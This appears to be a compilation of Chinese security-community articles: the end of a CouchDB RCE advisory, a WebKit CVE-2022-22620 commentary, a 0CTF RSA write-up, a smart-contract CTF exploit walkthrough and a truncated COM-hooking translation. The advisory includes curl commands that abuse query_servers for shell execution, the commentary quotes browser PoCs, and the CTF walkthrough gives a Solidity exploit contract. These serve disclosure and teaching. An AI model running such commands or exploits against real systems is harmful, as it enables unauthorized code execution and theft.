curl -X PUT 'http://localhost:5984/_config/query_servers/cmd' -d '"/sbin/ifconfig >/tmp/6668"'
curl -X PUT 'http:// localhost:5984/vultest'
curl -X PUT 'http:// localhost:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http:// localhost:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
更改query_servers配置，创建个临时表，调用query_servers处理数据。这样便可以执行shell，在规定的/tmp/6668文件中，写入ifconfig信息。
这样配合之前的CVE-2017-12365权限提升漏洞，实现远程代码执行：
**0x03 全网影响**
根据360CERT全网资产检索平台实时显示， 共有4943台CouchDB服务在外网开放，以美国占量为主
国内统计以广东，北京占量为主
**0x04 修复建议**
所有用户都应升级到CouchDB 1.7.1或 2.1.1。
配置HTTP API配置参数，针对敏感配置信息加入黑名单。
**0x05 时间线**
2016年5月 CouchDB未授权访问漏洞被披露
2017年11月15日 CVE-2017-12635，CVE-2017-12636披露
2017年11月15日 360CERT及时跟进分析
2017年11月16日 360CERT发布分析预警
**0x06 参考文档**
<http://docs.couchdb.org/en/2.1.1/config/intro.html>
<https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E>
<http://cb.drops.wiki/drops/papers-16030.html> | 社区文章 |
**作者：heige@知道创宇404实验室
原文链接：<https://mp.weixin.qq.com/s/-fHeQe-00ay7z5JXvvdK1w>**
### CVE-2022-22620
前几天p0的blog更新一篇文章[《An Autopsy on a Zombie In-the-Wild
0-day》](https://googleprojectzero.blogspot.com/2022/06/an-autopsy-on-zombie-in-wild-0-day.html "《An Autopsy on a Zombie In-the-Wild 0-day》")
针对2022年2月份披露的一个在野漏洞[CVE-2022-22620](https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2022/CVE-2022-22620.html "CVE-2022-22620")
“考古” 过程，还是比较有意思的～
p0通过一系列webkit代码的commit追踪，这个漏洞最终可以追溯到2013年1月（这个漏洞当时没有分配CVE），当时POC如下
Object.prototype.__defineSetter__("foo",function(){history.replaceState("")});
history.replaceState({foo:1,zzz:Array(1<<22).join("a")});
history.state.length;
随即Webkit修复了该漏洞，由于代码更新中间做了几次漏洞修改，一直到2016年12月的更新导致代码“回滚”重构导致漏洞创新被引入，最后直到2022年1月修复了在野利用并分配了CVE-2022-22620，POC如下：
input = document.body.appendChild(document.createElement("input"));
foo = document.body.appendChild(document.createElement("a"));
foo.id = "foo";
// Go to state1 when history.back is called
// The URL needs to be <currentPage+hash> to trigger loadInSameDocument during the call to back()
// Since the foo's element id="foo", focus will change to that element
history.pushState("state1", "", location + "#foo");
// Current state = state2
history.pushState("state2", "");
setTimeout(() => {
// Set the focus on the input element.
// During the call to back() the focus will change to the foo element
// and therefore triggering the blur event on the input element
input.focus();
input.onblur = () => history.replaceState("state3", "");
setTimeout(() => history.back(), 1000);
}, 1000);
通过p0的文章还提到一些细节，比如使用2013年的poc是没办法直接触发CVE-2022-22620，这个是因为代码经过3年的更新2013年的poc调用路径不能到达漏洞点。
这个漏洞案例告诉我们：
1、考古是非常有意义的！这个不代表CVE-2022-22620就是通过考古挖到的，实际上像webkit这种级别的项目是非常复杂的，及时知道一个漏洞点也要靠肉眼找路径也是非常有挑战性的，在p0的文章里还提到了CodeQL的方法，近几年CodeQL应用成果是有目共睹的，实际上404小伙在19年就开始关注CodeQL了：https://paper.seebug.org/?keyword=CodeQL
并且越来越成熟非常值得关注。当然还有通过多年的关注浏览器安全，有很多专注这个方向研究者通读并且熟读的代码也是有可能的！回到CVE-2022-22620上从POC的代码结构来看，我更加趋向Fuzzing的方式，对于复杂项目找到触发的路径Fuzzing是一个非常简单有效的方法，而且这种因为触发路径不同的同一个漏洞实际上在我们fuzzing过程里还是很常见的（也就是说看起来触发poc不一样，但是触发的漏洞实际上是同一个），有时候我们要获取到更多的不一样的漏洞覆盖，要人工干预避免这种情况，要不然你的算力就反复浪费在同一个漏洞甚至可能是bug上……
顺便提一下在实际漏洞挖掘过程中多种方法是可以结合使用的，比如我在fuzz
ie之前就把能收集到历史上各种漏洞甚至包括其他浏览器的漏洞都收集整理过，而且遇到新的漏洞POC都会进行回归测试到fuzz模型上，分析能不能覆盖到！
2、p0的文章里也提到了对于修复者来说应该关注漏洞触发的所有路径，而不仅仅是POC里提到的路径，也就是以前我经常给SRC吐槽的按POC修复漏洞的方式！实际上这个问题是非常难实现的，很多开发者的漏洞理解是不到位的，我以前就专门“考古”找我历史或者其他人的漏洞报告，重新复活漏洞的案例非常多，以至于TSRC当时还接受了我提到的复查评估流程！
3、针对webkit这种复杂的项目，实际上攻击者是可以利用这点的，之前我也提到过很多次的方式：比如去年的“UMN VS Linux kernel”事件
这个问题我在2021年的总结里也提到了，当然这种方式是比较直接的，在以往的经验里还存在一些比较隐蔽的，比如我在触发某个漏洞的攻击路径上存在一个bug，也就是说触发这个漏洞必然会触发这个bug，导致流程中断这个时候攻击者提交“主动提交”这个bug的修复补丁，那这种方式就非常不容易被发现了……
4、所以尽管从p0的文章对webkit代码的commit追踪来看2016年12月的代码修改存在主动恶意预谋的可能性不大，但是实际中谁又知道呢？！我们进一步思考可能会发现：漏洞其实并不在“食物链”的“顶端”（这个问题日后有机会再谈）
### CVE-2022-30136
这个漏洞是古师傅提交的，在这里提这个漏洞是因为古师傅说这个漏洞存在一个非常有意思的点： 
这个漏洞正常普通的请求就可以触发，但是由于NFS内存管理机制估计不会导致crash，而导致很难被注意到！因为我本身对这个漏洞所知甚少，其他点可以自行参考古师傅的内容及回复。
这个漏洞案例告诉我们：
1、Crash不是漏洞触发唯一标准，这个问题我相信很多搞fuzzing的选手有比较深的体会。
2、如果要有意识的预留这种漏洞是不是也有可能呢？！
3、有时候代码写得兼容性太好也不行？：）
* * * | 社区文章 |
# 前言
周末做了0CTF的babyrsa，其中在对于多项式的欧拉函数计算时遇到一些阻碍，记录一下解决过程。
(由于先知这里不支持数学公式，所以带公式的我都进行了截图，观赏性会受影响，抱歉。)
# 算法分析
代码很容易看懂
#!/usr/bin/env sage
# coding=utf-8
from pubkey import P, n, e
from secret import flag
from os import urandom
R.<a> = GF(2^2049)
def encrypt(m):
global n
assert len(m) <= 256
m_int = Integer(m.encode('hex'), 16)
m_poly = P(R.fetch_int(m_int))
c_poly = pow(m_poly, e, n)
c_int = R(c_poly).integer_representation()
c = format(c_int, '0256x').decode('hex')
return c
if __name__ == '__main__':
ptext = flag + os.urandom(256-len(flag))
ctext = encrypt(ptext)
with open('flag.enc', 'wb') as f:
f.write(ctext)
encrypt函数是一个标准的RSA加密过程。但是区别在于这里的明文与N都是多项式表达。
我们先回顾一下基于整数的RSA加解密原理。
## 整数RSA加解密原理
## 多项式RSA推倒
在上面RSA原理的基础上将多项式的代入整数进行分析。
那么显然RSA对于整数的体制可以适用于有限域上的多项式。
# 解题踩坑
利用sage语言来解题。
先对密文进行还原
file_object = open('./flag.enc','rb')
file_context = file_object.read()
x=int(file_context.encode('hex'),16)
print x
得到明文的整数形式。
对n进行分解得到两个不可约多项式p q
计算phi，以及d。
sage: phi=(p-1)*(q-1)
sage: d=inverse_mod(e,phi)
此时出现了报错，因为e是整数而phi为多项式，将phi转为整数
sage:phi_int=R(P(phi)).integer_representation()
继而求出了d。
解密
sage:flag=pow(c,d,n)
sage:flag_int=R(P(flag)).integer_representation()
接下来对flag_int转string发现乱码。
接下来陷入了自闭。
多次进行检查验证，算法本身是没有问题的，出问题可能就出在求d的过程中。
## 解决问题
求d需要e和phi。那么问题只能出在phi身上。
对于素数x，φ(x)=x-1。
但是对于不可约多项式p(x)，经过简单验证φ(p(x))=x-1是不成立的。
那么是否有φ(x)=x-y (y为 GF(2^n) 的本源多项式) ，经过简单的举例验证他依旧是不成立的。
不可约多项式的欧拉函数怎么求呢。回到欧拉函数定义本身， **欧拉函数** 是小于或等于 _n_ 的正整数中与 _n_ 的数的数目。
再看不可约多项式p(x)，除了0，长度为n每一个多项式都与p(x)互素，因此
## 获得flag
得到了正确的phi再进行解密
sage: c_poly=P(R.fetch_int(c))
sage: phi_int=(2^1227-1)*(2^821-1)
sage: d=inverse_mod(e_int,phi_int)
sage: flag=pow(c_poly,d,n)
sage: flag_int=R(P(flag)).integer_representation()
得到flag_int，转为字符串
# 总结
总的来说基于整数和基于多项式的RSA体制大致相同，只是多项式在值的计算上例如欧拉函数，取模反等地方需要注意区别。 | 社区文章 |
# 如何与无源码的智能合约交互
# 0x01 前言
主要介绍Ethernet(以太坊)的基于solidity的智能合约交互。分析题目并不是为了求解，而是为了解释每一步为什么这么做，是否有效。
需要事先配置redmix-ide<http://remix.ethereum.org/>和metamask钱包环境,环境配置见solidity的官方文档，我使用的Chorme，火狐浏览器不知道为何总是无法找到Solidity编译器。
# 0x02 一个简单的例子
### 环境部署
以下合约来自solidity官方文档的第一个例子。调用`set`函数可以修改变量 `paswd`
为某个整数，网络上的所有用户都能调用`look`查看此变量。
pragma solidity ^0.4.18;
contract Instacne{
uint256 public paswd;
function set(uint256 _parm)public {
paswd = _parm;
}
function look () public returns(uint256) {
return paswd;
}
}
在Ropsten网络部署后得到地址`0xf78482dfe10B3c7aBBE79Dfda0859b0Eb3864BbD`
### 反编译分析
通过在线逆向网站得到反编译代码和二进制程序接口信息(ABI)
<https://contract-library.com/contracts/Ropsten/0xf78482dfe10B3c7aBBE79Dfda0859b0Eb3864BbD>
>
> 这个网站反编译的代码比较方便阅读但其实可能会有问题，<https://ethervm.io/decompile反编译代码会更加底层，能正确反应源代码逻辑。这个问题我们在0x03实战分析中展开讨论。>
部分反编译代码
uint256 _look; // STORAGE[0x0]
function set(uint256 varg0) public {
require(!msg.value);
_look = varg0;
exit();
}
function look() public {
require(!msg.value);
return _look;
}
ABI：
[{"constant":false,"inputs":[],"name":"look","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_parm","type":"uint256"}],"name":"set","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"paswd","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}]
ABI 是一个Json文件，记录每一个函数的调用方法。部分字段意义如下
字段 | 类型 | 含义
---|---|---
constant | bool | 是否为常量函数
input | json | 输入值类型
output | json | 输出值类型
payable | bool | 是否标志为payable
stateMutability | str | 其他函数标志
这里介绍一些Solidity和区块链概念：
> 交易：无论是否涉及金钱交易，所有需要在链上`写` 的操作都认为是交易。
>
> 状态：状态变量是永久地存储在合约存储中的值。声明为`constant`的变量表示常量，并不存储在合约的storage。
>
>
> 函数标志：可以设置函数可以访问哪些状态。比较重要的是设置为`view`后，我们可以直接拿到函数返回值，而不需要进行交易（签名发布区块链）。参考官方文档：<https://solidity-> cn.readthedocs.io/zh/develop/contracts.html#functions>
>
> 常量函数：solidity声明一个名为sample的 public
> 变量后会生成一个同名函数（sample），该函数无输入但是带有`view`标志，可以直接返回该变量的值。
从ABI可知， set函数和look函数的输入输出格式如下：
函数名 | input | output
---|---|---
set | uint256 _parm | NULL
look | NULL | uint256
于是可以逆向得到函数声明。
function paswd() view returns(uint256);
function set(uint256 _parm);
function look() returns (uint256);
阅读反编译代码可以大体得知函数功能，如果要将所有代码逆向成源代码虽然方便本地调试，但其实是比较困难的。我推荐逆向出所需的函数声明后，用Remix，部署此`虚合约(abstract
contract)`到原合约地址上，再利用Remix的接口调用函数。
### 调用合约
声明虚合约后，可以利用Remix，部署在原合约地址就可以直接调用了。
如果要跨合约调用的话，可以直接实例化虚合约，调用自己编写的合约即可，比如以下例子。
pragma solidity ^0.4.18;
contract Contract{//虚合约
function paswd() view returns(uint256);
function set(uint256 _parm) ;
function look() returns (uint256);
}
contract Exploit {//攻击合约
Contract instance;
function Exploit(){//构造函数
address _parm = 0xf78482dfe10B3c7aBBE79Dfda0859b0Eb3864BbD;
instance = Contract(_parm);//实例化目标合约
}
function set(uint256 _parm){
instance.set(_parm);
}
function look() view returns(uint256){
return instance.look();
}
}
# 0x03 实战分析
题目来自于2019年第二届安洵杯的 `whoscoin`，题目不涉及安全问题，只要用户按照一定规则调用函数即可获取flag。
原题在成功调用特定事件后，有一个flag会发送flag到选手指定邮箱上。现在这个环境已经没了，我们在私有链上测试，如果监听到这个事件就认为成功获取flag。
## 部署题目
原题目合约地址：`0xB663B3A8492650dDdCb9891fAeDFf84a8BC9b6c3`
编译题目源码(在文末给出)后，使用账户`0x14723A09ACff6D2A60DcdF7aA4AFf308FDDC160C`部署题目到`0xad8742d9B48be31f69CCEA55B183C2EE7d4d8058`。此时完成环境部署，虽然用到源码，但只是为了模拟比赛环境。接下来我们在无源码为前提，逆向此合约。
私有链的合约地址：`0xad8742d9B48be31f69CCEA55B183C2EE7d4d8058`
## 逆向分析
### 收集信息
在线反编译网站找不到私有链上的合约，所以我们这里反编译原题合约
<https://contract-library.com/contracts/Ropsten/0xB663B3A8492650dDdCb9891fAeDFf84a8BC9b6c3>
contract Instance{
uint256 _decimals; // STORAGE[0x0]
uint256 _totalSupply; // STORAGE[0x1]
uint256 _owner; // STORAGE[0x2]
uint256 _transferFrom; // STORAGE[0x3]
uint256 _allowance; // STORAGE[0x4]
function transferFrom(address varg0, address varg1, uint256 varg2) public {
require(!msg.value);
require(address(varg1) != 0x0);
require(_transferFrom[address(varg0)][0] >= varg2);
require((_transferFrom[address(varg1)][0] + varg2) > _transferFrom[address(varg1)][0]);//varg2 > 0
_transferFrom[address(varg0)] = (_transferFrom[address(varg0)][0] - varg2);
_transferFrom[address(varg1)] = (_transferFrom[address(varg1)][0] + varg2);
_allowance[address(msg.sender)] = (_allowance[address(msg.sender)][0] - varg2);
require((_allowance[address(varg0)][0] + _allowance[address(varg1)][0]) == (_transferFrom[address(varg0)][0] + _transferFrom[address(varg1)][0]));
v738 = 0x1;
return v738;
}
function decimals() public {
require(!msg.value);
v752 = 0xff & _decimals >> 0;
return (0xff & (0xff & v752));
}
function payforflag(string varg0) public {
require(!msg.value);
v1fb = new bytes[](varg0.length);
freeMemPtr = v1fb + (0x20 + varg0.length + 31 >> 5 << 5);
CALLDATACOPY(v1fb.data, varg0 + 36, varg0.length);
v760_0x0 = balanceOf_impl(msg.sender, 0x761);
require(v760_0x0 >= 0x2710);
require(address(_owner >> 0) == address(msg.sender));
v7f8 = new array[](v1fb.length);
v81e_0x0 = v813 = 0x0;
while (1) {
if (v81e_0x0 >= v1fb.length) break;
MEM[v7f8.data + v81e_0x0] = MEM[v1fb.data + v81e_0x0];
v81e_0x0 = v81e_0x0 + 32;
continue;
}
if (0x1f & v1fb.length) {
MEM[(v1fb.length + v7f8.data - (0x1f & v1fb.length))] = ~((0x100 ** (0x20 - (0x1f & v1fb.length))) - 0x1) & MEM[(v1fb.length + v7f8.data - (0x1f & v1fb.length))];
}
v85d_0x1 = new array[](0x6);
MEM[v85d_0x1.data] = 0x627261766f210000000000000000000000000000000000000000000000000000;
emit 0xc18473380ae2e7a279934bea5ae7294969b074d8c2040ddc4a26a40b5c7c9a10(v7f8, v85d_0x1);
exit();
}
function balanceOf(address varg0) public {
require(!msg.value);
v25c_0x0 = balanceOf_impl(varg0, 0x25d);
return v25c_0x0;
}
function owner() public {
require(!msg.value);
v90e = address(_owner >> 0);
return address(v90e);
}
function changeOwner(address varg0) public {
require(!msg.value);
if (address(tx.origin) != address(msg.sender)) {
_owner = address(varg0) << 0 | (~0xffffffffffffffffffffffffffffffffffffffff << 0 & _owner);
}
exit();
}
function allowance(address varg0, address varg1) public {
require(!msg.value);
return _allowance[address(varg1)][0];
}
function balanceOf_impl(uint256 v8a2arg0x0, uint256 v8a2arg0x1) private {
v8bf = address(v8a2arg0x0);
return _transferFrom[address(v8bf)][0]; // to v8a2arg0x1
}
function approve(address varg0, uint256 varg1) public {
require(!msg.value);
_allowance[address(varg0)] = varg1;
v3f1 = 0x1;
return v3f1;
}
function totalSupply() public {
require(!msg.value);
return _totalSupply;
}
}
ABI如下
[{"name":"__function_selector__","type":"function","inputs":[{"name":"function_selector","type":"uint32"}]},{"name":"approve","type":"function","inputs":[{"name":"varg0","type":"address"},{"name":"varg1","type":"uint256"}]},{"name":"totalSupply","type":"function","inputs":[]},{"name":"transferFrom","type":"function","inputs":[{"name":"varg0","type":"address"},{"name":"varg1","type":"address"},{"name":"varg2","type":"uint256"}]},{"name":"decimals","type":"function","inputs":[]},{"name":"payforflag","type":"function","inputs":[{"name":"varg0","type":"string"}]},{"name":"balanceOf","type":"function","inputs":[{"name":"varg0","type":"address"}]},{"name":"owner","type":"function","inputs":[]},{"name":"changeOwner","type":"function","inputs":[{"name":"varg0","type":"address"}]},{"name":"allowance","type":"function","inputs":[{"name":"varg0","type":"address"},{"name":"varg1","type":"address"}]}]
从ABI可以得到函数声明如下：
函数名 | input | output
---|---|---
approve | address varg0, uint256 varg1 | bool
allowance | address varg0, address varg1 | uint256
changeOwner | address varg0 | NULL
balanceOf | address varg0 | uint256
transferFrom | address varg0, address varg1, uint256 varg2 | bool
owner | NULL | address
payforflag | string | NULL
### 编写虚合约
下面依次分析各函数。可以先看攻击链构造再回来看这部分，选择先介绍函数功能是因为做题的时候我习惯于如此。
1. approve
功能：设置地址`varg0`的`allowance` 修改为 `varg1`
反汇编函数如下，有bool类型返回值，为其添加returns语句。
//原函数
function approve(address varg0, uint256 varg1) public {
require(!msg.value);
_allowance[address(varg0)] = varg1;
v3f1 = 0x1;
return v3f1;
}
//函数声明
function approve(address varg0, uint256 varg1) public returns(bool success)；
其实这里在线反编译完整给出的代码是和实际功能有出入的。我们用这个网站<https://ethervm.io/decompile/ropsten/0xB663B3A8492650dDdCb9891fAeDFf84a8BC9b6c3#dispatch_23b872dd分析的话，发现approve函数其实是修改调用者对arg0账户的allowance。也就是说allowance大概率是一个映射的映射，记录的是哪个账户对哪个账户的可操作金额。>
我也是部署攻击合约后发现approve函数调用失败才发现问题的，算是一个坑吧。
1. allowance
功能：返回地址`varg1`的`allowance`值
发现有uint256类型返回值
function allowance(address varg0, address varg1) public {
require(!msg.value);
return _allowance[address(varg1)][0];
}
//函数声明
function allowance(address varg0, address varg1) public returns(uint256)；
这里同样存在和approve函数类似的问题
1. owner
功能：返回合约所有者，类型为address
function owner() public {
require(!msg.value);
v90e = address(_owner >> 0);
return address(v90e);
}
//函数声明
function owner() public returns(address);
1. changeOwner
功能：修改合约所有者`_owner`为指定地址
无返回值
function changeOwner(address varg0) public {
require(!msg.value);
if (address(tx.origin) != address(msg.sender)) {
_owner = address(varg0) << 0 | (~0xffffffffffffffffffffffffffffffffffffffff << 0 & _owner);
}
exit();
}
//函数声明
function changeOwner(address varg0) public;
1. balanceOf
function balanceOf(address varg0) public {
require(!msg.value);
v25c_0x0 = balanceOf_impl(varg0, 0x25d);
return v25c_0x0;
}
//函数声明
function balanceOf(address varg0) public payable returns(uint256)；
1. transferFrom
功能：指定用户A给用户B转账C金额。
function transferFrom(address varg0, address varg1, uint256 varg2) public {
require(!msg.value);
require(address(varg1) != 0x0);
require(_transferFrom[address(varg0)][0] >= varg2);
require((_transferFrom[address(varg1)][0] + varg2) > _transferFrom[address(varg1)][0]);
_transferFrom[address(varg0)] = (_transferFrom[address(varg0)][0] - varg2);//1
_transferFrom[address(varg1)] = (_transferFrom[address(varg1)][0] + varg2);//10000
_allowance[address(msg.sender)] = (_allowance[address(msg.sender)][0] - varg2);
require((_allowance[address(varg0)][0] + _allowance[address(varg1)][0]) == (_transferFrom[address(varg0)][0] + _transferFrom[address(varg1)][0]));
v738 = 0x1;
return v738;
}
//函数声明
function transferFrom(address varg0, address varg1, uint256 varg2) public payable returns(bool success)；
1. payforflag
大意：包含几个`require`条件，满足后发送flag邮件。
//函数声明
function payforflag(string _parm) payable public;
**完整虚合约如下：**
contract Instance{
uint256 _decimals; // STORAGE[0x0]
uint256 _totalSupply; // STORAGE[0x1]
address _owner; // STORAGE[0x2]
function transferFrom(address varg0, address varg1, uint256 varg2) public payable returns(bool);
function balanceOf(address varg0) public payable returns(uint256);
function payforflag(string _parm) payable public;
function owner() public view returns(address);
function changeOwner(address varg0) public;
function allowance(address varg0, address varg1) view public returns(uint256);
function approve(address varg0, uint256 varg1) public returns(bool);
function totalSupply() view public returns(uint256) ;
}
### 直接调用虚合约
将虚合约部署在原合约地址`0xad8742d9B48be31f69CCEA55B183C2EE7d4d8058`上。
调用`totalSuply`函数，单击即可得到 `15000000000000000000000000000`
调用`owner`函数，即可得到原合约的创立者地址`0x14723A09ACff6D2A60DcdF7aA4AFf308FDDC160C`
如果直接调用`payforflag`函数，因为条件不满足，所以合约调用会失败，接下来我们分析反编译代码，寻求解题方法。
## 构造攻击链
* 分析payforflag函数
function payforflag(string varg0) public {
require(!msg.value);
v1fb = new bytes[](varg0.length);
freeMemPtr = v1fb + (0x20 + varg0.length + 31 >> 5 << 5);
CALLDATACOPY(v1fb.data, varg0 + 36, varg0.length);
v760_0x0 = balanceOf_impl(msg.sender, 0x761);
require(v760_0x0 >= 0x2710);
require(address(_owner >> 0) == address(msg.sender));
v7f8 = new array[](v1fb.length);
v81e_0x0 = v813 = 0x0;
while (1) {
if (v81e_0x0 >= v1fb.length) break;
MEM[v7f8.data + v81e_0x0] = MEM[v1fb.data + v81e_0x0];
v81e_0x0 = v81e_0x0 + 32;
continue;
}
if (0x1f & v1fb.length) {
MEM[(v1fb.length + v7f8.data - (0x1f & v1fb.length))] = ~((0x100 ** (0x20 - (0x1f & v1fb.length))) - 0x1) & MEM[(v1fb.length + v7f8.data - (0x1f & v1fb.length))];
}
v85d_0x1 = new array[](0x6);
MEM[v85d_0x1.data] = 0x627261766f210000000000000000000000000000000000000000000000000000;
emit 0xc18473380ae2e7a279934bea5ae7294969b074d8c2040ddc4a26a40b5c7c9a10(v7f8, v85d_0x1);//
exit();
}
**三个require条件**
1. msg.value == 0
2. balanceOf_impl(msg.sender, 0x761) >= 0x2710
调用者的存款需大于 10000(0x2710)。使用transferFrom函数修改存款
3. address(_owner >> 0) == address(msg.sender)
当前合约owner为调用者。使用changeOwner修改调用者为攻击合约地址。
我们可以看到有大量涉及数组的操作，但其实这些操作并不会影响最终flag邮件事件的参数，只要满足三个require条件就能正确调用事件。
> `CALLDATACOPY`将函数参数`varg0`拷贝到`v1fb`, `while`
> 循环再将`v1fb`数据拷贝到`v1f8`。实际上事件的第一个参数`v1f8`就是函数参数`varg0`。
>
> 事件的第二个参数`x85d_0x1`使用16进制解码后，即为`'bravo!'`
>
> > emit
> 0xc18473380ae2e7a279934bea5ae7294969b074d8c2040ddc4a26a40b5c7c9a10(v7f8,
> v85d_0x1);
4. 修改所有者
这里要求合约调用者不是交易的原始调用者。因此我们需要编写攻击合约，让攻击合约调用`changeOwner`函数。传入的值为攻击合约的地址。
//简化后的代码
function changeOwner(address varg0) public {
require(!msg.value);
if (tx.origin != msg.sender) {
_owner = address(varg0)
}
}
调用 `owner`函数可以验证是否成功修改。
* 修改存款
`transferFrom`能够转移两个账户的存款。为了实现转账，我们需要满足以下几个条件
1. `msg.value == 0`
2. `varg1 != 0`
3. `_transferFrom\[address(varg0)\][0] >= varg2`
转账金额小于等于`varg0`用户的存款
4. `(_transferFrom\[address(varg1)\][0] + varg2) > _transferFrom\[address(varg1)\][0]`
转账金额大于0
5. `allowance`限制
实际上就算不管此条件，还是能够成功转账。应该就是之前说的_allowance 是一个映射的映射，在线反编译器不能很好地翻译。(也有可能是我看不懂QAQ)
_allowance[address(msg.sender)] = (_allowance[address(msg.sender)][0] - varg2);
require((_allowance[address(varg0)][0] + _allowance[address(varg1)][0]) == (_transferFrom[address(varg0)][0] + _transferFrom[address(varg1)][0]));
### 完整攻击链
攻击合约调用
changeOwner(this) -> transferFrom(origin_owner, this, 10000)->
payforflag(b64email)
变量名 | 含义
---|---
this | 攻击合约地址
origin_owner | 原合约所有者地址
b64email | 自己邮件地址的base64编码
EXP代码如下：
pragma solidity ^0.4.18;
contract Instance{
uint256 _decimals; // STORAGE[0x0]
uint256 _totalSupply; // STORAGE[0x1]
address _owner; // STORAGE[0x2]
function transferFrom(address varg0, address varg1, uint256 varg2) public payable returns(bool);
function balanceOf(address varg0) public payable returns(uint256);
function payforflag(string _parm) payable public;
function owner() public view returns(address);
function changeOwner(address varg0) public;
function allowance(address varg0, address varg1) view public returns(uint256);
function approve(address varg0, uint256 varg1) public returns(bool);
function totalSupply() view public returns(uint256) ;
}
contract Exploit{
Instance instance;
address _adr = 0xad8742d9B48be31f69CCEA55B183C2EE7d4d8058;
address public Bank_adr;
function Exploit(){
instance = Instance(_adr);
Bank_adr = instance.owner();
}
function changeOwner() public{
instance.changeOwner(this);
}
function resertOwner() public{
address _parm = 0x14723A09ACff6D2A60DcdF7aA4AFf308FDDC160C;
instance.changeOwner(_parm);
}
function balanceOfBank ()view public returns(uint256){
return instance.balanceOf(Bank_adr);
}
function balanceOfExploit ()view public returns(uint256){
address _parm = this;
return instance.balanceOf(_parm);
}
function approve (address _parm, uint256 mount) public returns(bool){
instance.approve(_parm, mount);
}
function transferFrom() public payable {
instance.transferFrom(Bank_adr, this, 10000);
}
function allowanceOfBank()view public returns(uint256){
return instance.allowance(this , Bank_adr);
}
function allowanceOfExploit ()view public returns(uint256){
return instance.allowance(this, this);
}
function payforflag() payable public{
instance.payforflag("Y3dtankxMzE0QDEyNi5jb20=");
}
}
* 修改合约所有者为攻击合约
执行changOwner修改所有者。点击owner方法查看owner是否被修改为攻击合约地址
* 给攻击合约转账
一开始攻击合约无存款，原合约所有者拥有许多存款(这里测试过几次，所以金额不是15000....0了，但是不影响验证)。
点击transferFrom方法给攻击合约转账10000，再查看攻击合约存款，发现有10000，原合约所有者存款少10000
* 调用payforflag
各条件满足，事件被调用，相当于成功获取flag。
# 0x04 结束语
Solidity的官方文档还是讲的很明白的，基本上需要的答案都能直接搜索出来。
我对智能合约了解还不深入，写下本文主要是之前不知如何调用智能合约函数，网上查到的资源非常零散。但通过不断实验还是找到了一套解决办法，希望能帮到有需要的同学。
如有纰漏，还请各位海涵。
# 0x05 Reference & Trick
1. solidity 文档中安装环境的教程
<https://solidity-cn.readthedocs.io/zh/develop/installing-solidity.html>
2. solidity关于映射的映射的解释：
<https://solidity-cn.readthedocs.io/zh/develop/miscellaneous.html#storage>
3. 在线反编译合约网站1：<https://contract-library.com/>
4. 在线反编译合约网站2: <https://ethervm.io/decompile/>
5. 在线智能合约交互网站：<https://www.mycrypto.com/> 这个网站也不是能和所有合约直接交互的，比如本文介绍的CTF合约题目就不行。
6. `whoscoin`作者发布源代码在<https://github.com/D0g3-Lab/i-SOON_CTF_2019> | 社区文章 |
# 【技术分享】见招拆招：详谈COM接口函数Hook技术
|
##### 译文声明
本文是翻译文章，文章来源：microsoft.co.il
原文地址：<http://blogs.microsoft.co.il/pavely/2017/08/07/hooking-com-classes/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[blueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
在日常的工作中，使用 **hook** 操作有时可以大大提高我们的工作效率。其中，典型的例子有：为了便于对程序进行调试，我们可以对 **Windows
API** 函数执行hook操作或者为了进行恶意软件检测，我们也可以对Windows
API函数执行hook操作。在这些场景中，往往是一些DLL被注入到目标进程中，然后对相关的功能函数执行hook操作，有几种方法可以做到这一点，但这并不是本文要讨论的重点，感兴趣的读者可以在网上搜索与DLL相关的技术文章。
在 **组件对象模型**
（COM）的世界中，想要对COM组件接口函数执行hook操作并不是一件容易的事情。原因是因为COM组件是基于对象的，因此通常情况下我们是不可能获取COM组件接口函数地址的。并且，由于COM组件接口函数不直接导出，因此通过调用GetProcAddress或类似的方法也是无法找到这些函数地址的。此外，即使COM组件中的某些函数的地址被找到，执行hook操作也需要将一些代码注入到目标进程中，这种操作在某些情况下（例如受保护的进程）几乎是不可能实现的。
但经过我们的研究发现，COM组件提供了另一种“hooking”操作或者相当于重定向的机制，此机制能够将一个 **CLSID**
重定向到另一个CLSID，MSDN文档中把这种机制称之为“仿真”功能，就像一个类可以模拟另一个类的功能似的。这种机制在一定程度上打开了将一个类重定向到另一个类的可能性，而不需要注入代码到目标进程中或者对某些函数执行hook操作。
**
**
**Hooking COM接口函数实例**
下面让我们一起来看一个具体的例子。Windows中的 **后台智能传输服务**
（BITS）提供了异步下载/上传服务，该服务具有进度通知，网络自动恢复等功能。恶意软件可以通过BITS服务来下载其有效载荷，而不需要其直接下载有效载荷，直接下载会使恶意软件更容易暴露在反恶意软件检测工具中。通过BITS下载使得恶意软件与下载的有效载荷没有什么直接的关联，进一步加大了对恶意软件的检测难度。
由于BITS是基于COM组件来实现的，因此可以使用上述所说的“仿真”机制对任何需要获得BITS操作的函数执行hook操作，以获取BITS模块的执行结果。实现这个想法的关键是COM组件中的
**CoTreatAsClass**
这个API函数，该函数将一个TreatAs键添加到原始键中，并将其值指向备用的CLSID。尽管如此，可能我们还是没有办法来对某些BITS操作执行hook操作，原因是由于任何COM激活请求（例如通过CoCreateInstance）都将重定向到TreatAs
CLSID，因此我们没有办法只重定向某些特定的请求。
因此，对哪些CLSID应该执行hook操作是我们应该要好好考虑和研究的问题。在BITS的情况下，我们需要操作的对象是BackgroundCopyManager，它是使用BITS操作时肯定会创建的对象。或许你们会认为一个更好的CLSID目标对象是由BITS创建的实际Job对象，但是这样做将起不到任何的作用，因为没有这样的CLSID对象。像许多基于COM组件的API一样，只有几个对象实际上可以使用COM公共激活API创建并具有CLSIDs。通过函数间接创建的一些对象，是不需要通过COM激活机制的。
以下是创建“替代类”以拦截BITS请求所需的代码：
